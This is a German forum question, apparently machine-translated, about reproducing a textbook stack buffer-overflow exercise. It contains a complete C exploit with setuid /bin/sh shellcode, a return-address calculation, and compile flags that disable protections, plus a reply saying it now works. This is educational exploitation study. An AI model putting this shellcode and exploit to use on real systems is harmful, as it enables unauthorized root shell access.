Ich versuche diesen Code inspiriert durch das Buch "Hacking: Die Kunst der Ausbeutung". Dazu wird ein Pufferüberlauf mit der Umgebungsvariablen ausgenutzt. Die Ausbeutung Code lautet:Pufferüberlauf mit Umgebungsvariablen
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51"
"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd"
"\x80";
int main(int argc, char *argv[]) {
char *env[2] = {shellcode, 0};
unsigned int i, ret;
char *buffer = (char *)malloc(160);
ret = 0xbffffffa - sizeof(shellcode) - strlen("./auth_overflow");
for (i = 0; i < 160; i += 4)
*((unsigned int *)(buffer + i)) = ret;
execle("./auth_overflow", "auth_overflow", buffer, (char *)NULL, env);
free(buffer);
}
Das Problem ist die Basisadresse 0xbffffffa
. Ich lese here, dass der Grund für diese Adresse ist, weil "der Linux-Kernel wie so implementiert ist". Trotzdem funktioniert der Exploit nicht und führt zu einem Segmentierungsfehler.
Ich bin mit Ubuntu 14.04
mit Kernel Version 3.13.0-83-generic
auf einer 64-Bit-Maschine und ich bin die Ausbeutung Kompilieren von Code mit dem folgenden Befehl:
gcc -m32 -fno-stack-protector -z execstack -g exploit.c -o exploit
I behinderte ASLR auch.
Haben Sie Ideen, wie Sie diese Adresse ermitteln können?
Danke für die Hilfe.
Soweit ich mich erinnere, sagte das Buch, dass der oben genannte Exploit den Vorteil hat, dass er keinen NOP-Schlitten benötigt. Ihre Idee, in '/ proc/<>/maps' zu schauen, half jedoch dabei, die basierte Stack-Adresse des aktuellen Prozesses zu erhalten. Jetzt funktioniert der Exploit. –